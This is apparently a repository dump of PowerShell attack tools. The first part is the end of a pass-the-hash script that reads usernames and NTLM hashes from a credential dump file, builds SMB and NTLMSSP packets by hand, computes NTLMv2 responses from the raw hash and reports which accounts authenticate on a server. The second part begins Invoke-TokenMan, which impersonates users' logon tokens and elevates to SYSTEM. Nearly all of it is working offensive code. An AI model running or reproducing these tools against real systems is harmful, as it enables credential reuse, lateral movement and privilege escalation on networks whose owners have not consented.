$SMB2Header.Add("Command",$Command) 202 | $SMB2Header.Add("CreditRequest",$CreditRequest) 203 | $SMB2Header.Add("Flags",$flags) 204 | $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) 205 | $SMB2Header.Add("MessageID",$message_ID) 206 | $SMB2Header.Add("ProcessID",$ProcessID) 207 | $SMB2Header.Add("TreeID",$TreeID) 208 | $SMB2Header.Add("SessionID",$SessionID) 209 | $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 210 | 211 | return $SMB2Header 212 | } 213 | 214 | function New-PacketSMB2NegotiateProtocolRequest { 215 | $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary 216 | $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) 217 | $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) 218 | $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) 219 | $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) 220 | $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) 221 | $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 222 | $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) 223 | $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) 224 | $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) 225 | $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) 226 | $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) 227 | 228 | return $SMB2NegotiateProtocolRequest 229 | } 230 | 231 | function New-PacketSMB2SessionSetupRequest { 232 | param([Byte[]]$SecurityBlob) 233 | 234 | [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] 235 | 236 | $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary 237 | $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) 238 | $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) 239 | $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) 240 | $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) 241 | $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) 242 | $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) 243 | $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) 244 | $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 245 | $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) 246 | 247 | return $SMB2SessionSetupRequest 248 | } 249 | 250 | # NTLM 251 | 252 | function New-PacketNTLMSSPNegotiate { 253 | param([Byte[]]$NegotiateFlags,[Byte[]]$Version) 254 | 255 | [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] 256 | [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 257 | [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 258 | [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 259 | [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 260 | 261 | $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary 262 | $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) 263 | $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) 264 | $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) 265 | $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) 266 | $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) 267 | $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) 268 | $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) 269 | $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) 270 | $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) 271 | $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) 272 | $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) 273 | $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) 274 | $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) 275 | $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) 276 | $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) 277 | $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) 278 | $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) 279 | $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) 280 | $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) 281 | $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) 282 | $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) 283 | $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) 284 | $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) 285 | $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 286 | $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 287 | 288 | if($Version) { 289 | $NTLMSSPNegotiate.Add("Version",$Version) 290 | } 291 | 292 | return $NTLMSSPNegotiate 293 | } 294 | 295 | function New-PacketNTLMSSPAuth { 296 | param([Byte[]]$NTLMResponse) 297 | 298 | [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] 299 | [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] 300 | [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] 301 | [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] 302 | 303 | $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary 304 | $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) 305 | $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) 306 | $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) 307 | $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) 308 | $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) 309 | $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) 310 | $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) 311 | $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) 312 | $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) 313 | 314 | return $NTLMSSPAuth 315 | } 316 | 317 | function Get-UInt16DataLength { 318 | param ([Int]$Start,[Byte[]]$Data) 319 | 320 | $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) 321 | 322 | return $data_length 323 | } 324 | 325 | $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id 326 | $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) 327 | [Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 328 | 329 | $credentials = @{} 330 | If ($Username -and $Hash) { 331 | $credentials.add($Username,$Hash) 332 | } 333 | ElseIf ($DumpFile) { 334 | $DumpFilePath = Resolve-Path -Path $DumpFile 335 | ForEach ($line in Get-Content $DumpFilePath) { 336 | $dump = $line.Split(":") 337 | $username = $dump[0] 338 | if ($username) { 339 | if ($username.Contains('\')) { 340 | $username = $username.split('\')[1] 341 | } 342 | $lmhash = $dump[2] 343 | $nthash = $dump[3] 344 | $hash = $lmhash + ':' + $nthash 345 | $credentials.add($username, $hash) 346 | } 347 | } 348 | } 349 | 350 | $credentials.GetEnumerator() | ForEach-Object { 351 | 352 | $username = $_.key 353 | $hash = $_.value 354 | if($hash -like "*:*") { 355 | $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) 356 | } 357 | 358 | $client = New-Object System.Net.Sockets.TCPClient 359 | $client.Client.ReceiveTimeout = 5000 360 | 361 | try { 362 | $client.Connect($Server,"445") 363 | } 364 | catch { 365 | Write-Output "[-] $Server did not respond" 366 | } 367 | 368 | if($client.Connected) { 369 | $client_receive = New-Object System.Byte[] 81920 370 | 371 | $client_stream = $client.GetStream() 372 | 373 | if($SMB_version -eq 'SMB2.1') { 374 | $stage = 'NegotiateSMB2' 375 | } 376 | else { 377 | $stage = 'NegotiateSMB' 378 | } 379 | 380 | while($stage -ne 'Exit') { 381 | try { 382 | switch ($stage) { 383 | 'NegotiateSMB' { 384 | $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 385 | $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version 386 | $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header 387 | $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 388 | $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length 389 | $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service 390 | $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 391 | 392 | try { 393 | $client_stream.Write($client_send,0,$client_send.Length) > $null 394 | $client_stream.Flush() 395 | $client_stream.Read($client_receive,0,$client_receive.Length) > $null 396 | 397 | if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') { 398 | $SMB_version = 'SMB1' 399 | $stage = 'NTLMSSPNegotiate' 400 | 401 | if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') { 402 | $SMB_signing = $true 403 | $session_key_length = 0x00,0x00 404 | $negotiate_flags = 0x15,0x82,0x08,0xa0 405 | } 406 | else { 407 | $SMB_signing = $false 408 | $session_key_length = 0x00,0x00 409 | $negotiate_flags = 0x05,0x82,0x08,0xa0 410 | } 411 | } 412 | else { 413 | $stage = 'NegotiateSMB2' 414 | 415 | if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { 416 | $SMB_signing = $true 417 | $session_key_length = 0x00,0x00 418 | $negotiate_flags = 0x15,0x82,0x08,0xa0 419 | 420 | } 421 | else { 422 | $SMB_signing = $false 423 | $session_key_length = 0x00,0x00 424 | $negotiate_flags = 0x05,0x80,0x08,0xa0 425 | } 426 | } 427 | } 428 | catch { 429 | if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."') { 430 | Write-Output "[-] SMB1 negotiation failed" 431 | $negoitiation_failed = $true 432 | $stage = 'Exit' 433 | } 434 | } 435 | } 436 | 437 | 'NegotiateSMB2' { 438 | if($SMB_version -eq 'SMB2.1') { 439 | $message_ID = 0 440 | } 441 | else { 442 | $message_ID = 1 443 | } 444 | 445 | $tree_ID = 0x00,0x00,0x00,0x00 446 | $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 447 | $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID 448 | $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest 449 | $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header 450 | $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 451 | $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length 452 | $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service 453 | $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 454 | $client_stream.Write($client_send,0,$client_send.Length) > $null 455 | $client_stream.Flush() 456 | $client_stream.Read($client_receive,0,$client_receive.Length) > $null 457 | $stage = 'NTLMSSPNegotiate' 458 | 459 | if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { 460 | $SMB_signing = $true 461 | $session_key_length = 0x00,0x00 462 | $negotiate_flags = 0x15,0x82,0x08,0xa0 463 | } 464 | else { 465 | $SMB_signing = $false 466 | $session_key_length = 0x00,0x00 467 | $negotiate_flags = 0x05,0x80,0x08,0xa0 468 | } 469 | } 470 | 471 | 'NTLMSSPNegotiate' { 472 | if($SMB_version -eq 'SMB1') { 473 | $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 474 | 475 | if($SMB_signing) { 476 | $packet_SMB_header["Flags2"] = 0x05,0x48 477 | } 478 | 479 | $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 480 | $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header 481 | $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate 482 | $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate 483 | $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 484 | $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length 485 | $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service 486 | $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 487 | } 488 | else { 489 | $message_ID++ 490 | $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID 491 | $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f 492 | $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header 493 | $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate 494 | $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate 495 | $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 496 | $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length 497 | $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service 498 | $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 499 | } 500 | 501 | $client_stream.Write($client_send,0,$client_send.Length) > $null 502 | $client_stream.Flush() 503 | $client_stream.Read($client_receive,0,$client_receive.Length) > $null 504 | $stage = 'Exit' 505 | } 506 | } 507 | } 508 | catch { 509 | Write-Output "[-] $($_.Exception.Message)" 510 | $negoitiation_failed = $true 511 | $stage = 'Exit' 512 | } 513 | } 514 | 515 | if(!$negoitiation_failed) { 516 | $NTLMSSP = [System.BitConverter]::ToString($client_receive) 517 | $NTLMSSP = $NTLMSSP -replace "-","" 518 | $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") 519 | $NTLMSSP_bytes_index = $NTLMSSP_index / 2 520 | $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive 521 | $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive 522 | $session_ID = $client_receive[44..51] 523 | $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] 524 | $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] 525 | $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] 526 | $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" 527 | $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 528 | $auth_hostname = (Get-ChildItem -path env:computername).Value 529 | $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) 530 | $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) 531 | $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) 532 | $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] 533 | $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] 534 | $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] 535 | $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] 536 | $auth_domain_offset = 0x40,0x00,0x00,0x00 537 | $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) 538 | $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) 539 | $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) 540 | $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) 541 | $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 542 | $HMAC_MD5.key = $NTLM_hash_bytes 543 | $username_and_target = $username.ToUpper() 544 | $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) 545 | $username_and_target_bytes += $auth_domain_bytes 546 | $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) 547 | $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) 548 | $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 549 | 550 | $security_blob_bytes = 0x01,0x01,0x00,0x00, 551 | 0x00,0x00,0x00,0x00 + 552 | $target_time_bytes + 553 | $client_challenge_bytes + 554 | 0x00,0x00,0x00,0x00 + 555 | $target_details + 556 | 0x00,0x00,0x00,0x00, 557 | 0x00,0x00,0x00,0x00 558 | 559 | $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes 560 | $HMAC_MD5.key = $NTLMv2_hash 561 | $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) 562 | 563 | if($SMB_signing) { 564 | $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) 565 | $session_key = $session_base_key 566 | $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 567 | $HMAC_SHA256.key = $session_key 568 | } 569 | 570 | $NTLMv2_response = $NTLMv2_response + $security_blob_bytes 571 | $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] 572 | $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) 573 | 574 | $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, 575 | 0x03,0x00,0x00,0x00, 576 | 0x18,0x00, 577 | 0x18,0x00 + 578 | $auth_LM_offset + 579 | $NTLMv2_response_length + 580 | $NTLMv2_response_length + 581 | $auth_NTLM_offset + 582 | $auth_domain_length + 583 | $auth_domain_length + 584 | $auth_domain_offset + 585 | $auth_username_length + 586 | $auth_username_length + 587 | $auth_username_offset + 588 | $auth_hostname_length + 589 | $auth_hostname_length + 590 | $auth_hostname_offset + 591 | $session_key_length + 592 | $session_key_length + 593 | $session_key_offset + 594 | $negotiate_flags + 595 | $auth_domain_bytes + 596 | $auth_username_bytes + 597 | $auth_hostname_bytes + 598 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 599 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + 600 | $NTLMv2_response 601 | 602 | if($SMB_version -eq 'SMB1') { 603 | $SMB_user_ID = $client_receive[32,33] 604 | $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID 605 | 606 | if($SMB_signing) { 607 | $packet_SMB_header["Flags2"] = 0x05,0x48 608 | } 609 | 610 | $packet_SMB_header["UserID"] = $SMB_user_ID 611 | $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response 612 | $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header 613 | $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate 614 | $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate 615 | $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 616 | $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length 617 | $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service 618 | $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 619 | } 620 | else { 621 | $message_ID++ 622 | $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID 623 | $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response 624 | $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header 625 | $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth 626 | $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth 627 | $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 628 | $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length 629 | $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service 630 | $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 631 | } 632 | 633 | try { 634 | $client_stream.Write($client_send,0,$client_send.Length) > $null 635 | $client_stream.Flush() 636 | $client_stream.Read($client_receive,0,$client_receive.Length) > $null 637 | 638 | if($SMB_version -eq 'SMB1') { 639 | 640 | if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') { 641 | Write-Verbose "[+] $Username successfully authenticated on $Server" 642 | Write-Output "[-] SMB1 is only supported with signing check and authentication" 643 | } 644 | else { 645 | Write-Verbose "[!] $Username failed to authenticate on $Server" 646 | } 647 | } 648 | else { 649 | if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') { 650 | Write-Output "[+] $Username successfully authenticated on $Server" 651 | } 652 | else { 653 | Write-Verbose "[!] $Username failed to authenticate on $Server" 654 | } 655 | } 656 | } 657 | catch { 658 | Write-Output "[-] $($_.Exception.Message)" 659 | } 660 | } 661 | $client.Close() 662 | $client_stream.Close() 663 | } 664 | } 665 | } 666 | -------------------------------------------------------------------------------- /Invoke-TokenMan.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-TokenMan { 2 | <# 3 | .SYNOPSIS 4 | Impersonate users logon token. 5 | 6 | Author: Timothee MENOCHET (@_tmenochet) 7 | 8 | .DESCRIPTION 9 | Invoke-TokenMan impersonates another users logon token in the current thread or in a new process. 10 | It is mostely stolen from PowerShell tools Invoke-TokenManipulation (written by @JosephBialek) and Get-System (written by @harmj0y & @mattifestation). 11 | 12 | .PARAMETER GetSystem 13 | Elevates the current thread token to SYSTEM. 14 | 15 | .PARAMETER ImpersonateUser 16 | Impersonates another users logon token in the current thread. 17 | 18 | .PARAMETER RevToSelf 19 | Reverts the current thread privileges. 20 | 21 | .EXAMPLE 22 | PS> Invoke-TokenMan -GetSystem 23 | 24 | .EXAMPLE 25 | PS> Invoke-TokenMan -ImpersonateUser ADATUM\simpleuser 26 | 27 | .EXAMPLE 28 | PS> Invoke-TokenMan -ImpersonateUser ADATUM\simpleuser -CreateProcess cmd.exe -ProcessArgs '/c whoami > C:\Windows\Temp\test.out' 29 | 30 | .EXAMPLE 31 | PS> Invoke-TokenMan -RevToSelf 32 | 33 | .EXAMPLE 34 | PS> Invoke-TokenMan -WhoAmI 35 | #> 36 | 37 | [CmdletBinding()] 38 | Param ( 39 | [Parameter(ParameterSetName = "GetSystem")] 40 | [Switch] 41 | $GetSystem, 42 | 43 | [Parameter(ParameterSetName = "ImpersonateUser")] 44 | [ValidateNotNullOrEmpty()] 45 | [String] 46 | $ImpersonateUser, 47 | 48 | [Parameter(ParameterSetName = "ImpersonateUser")] 49 | [Parameter(ParameterSetName = "CreateProcess")] 50 | [ValidateNotNullOrEmpty()] 51 | [String] 52 | $CreateProcess, 53 | 54 | [Parameter(ParameterSetName = "ImpersonateUser")] 55 | [Parameter(ParameterSetName = "CreateProcess")] 56 | [ValidateNotNullOrEmpty()] 57 | [String] 58 | $ProcessArgs, 59 | 60 | [Parameter(ParameterSetName = "RevToSelf")] 61 | [Switch] 62 | $RevToSelf, 63 | 64 | [Parameter(ParameterSetName = "WhoAmI")] 65 | [Switch] 66 | $WhoAmI 67 | ) 68 | 69 | ######################################## 70 | # Functions written by @mattifestation # 71 | ######################################## 72 | 73 | Function Local:Get-DelegateType { 74 | Param ( 75 | [OutputType([Type])] 76 | 77 | [Parameter( Position = 0)] 78 | [Type[]] 79 | $Parameters = (New-Object Type[](0)), 80 | 81 | [Parameter( Position = 1 )] 82 | [Type] 83 | $ReturnType = [Void] 84 | ) 85 | 86 | $Domain = [AppDomain]::CurrentDomain 87 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 88 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 89 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 90 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [MulticastDelegate]) 91 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [Reflection.CallingConventions]::Standard, $Parameters) 92 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 93 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 94 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 95 | Write-Output $TypeBuilder.CreateType() 96 | } 97 | 98 | Function Local:Get-ProcAddress { 99 | Param ( 100 | [OutputType([IntPtr])] 101 | 102 | [Parameter( Position = 0, Mandatory = $True )] 103 | [String] 104 | $Module, 105 | 106 | [Parameter( Position = 1, Mandatory = $True )] 107 | [String] 108 | $Procedure 109 | ) 110 | 111 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 112 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 113 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 114 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); 115 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 116 | $tmpPtr = New-Object IntPtr 117 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 118 | Write-Output $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 119 | } 120 | 121 | # Win32Constants 122 | $Constants = @{ 123 | ACCESS_SYSTEM_SECURITY = 0x01000000 124 | READ_CONTROL = 0x00020000 125 | SYNCHRONIZE = 0x00100000 126 | STANDARD_RIGHTS_ALL = 0x001F0000 127 | TOKEN_QUERY = 8 128 | TOKEN_ADJUST_PRIVILEGES = 0x20 129 | ERROR_NO_TOKEN = 0x3f0 130 | SECURITY_DELEGATION = 3 131 | DACL_SECURITY_INFORMATION = 0x4 132 | ACCESS_ALLOWED_ACE_TYPE = 0x0 133 | STANDARD_RIGHTS_REQUIRED = 0x000F0000 134 | DESKTOP_GENERIC_ALL = 0x000F01FF 135 | WRITE_DAC = 0x00040000 136 | OBJECT_INHERIT_ACE = 0x1 137 | GRANT_ACCESS = 0x1 138 | TRUSTEE_IS_NAME = 0x1 139 | TRUSTEE_IS_SID = 0x0 140 | TRUSTEE_IS_USER = 0x1 141 | TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 142 | TRUSTEE_IS_GROUP = 0x2 143 | PROCESS_QUERY_INFORMATION = 0x400 144 | TOKEN_ASSIGN_PRIMARY = 0x1 145 | TOKEN_DUPLICATE = 0x2 146 | TOKEN_IMPERSONATE = 0x4 147 | TOKEN_QUERY_SOURCE = 0x10 148 | 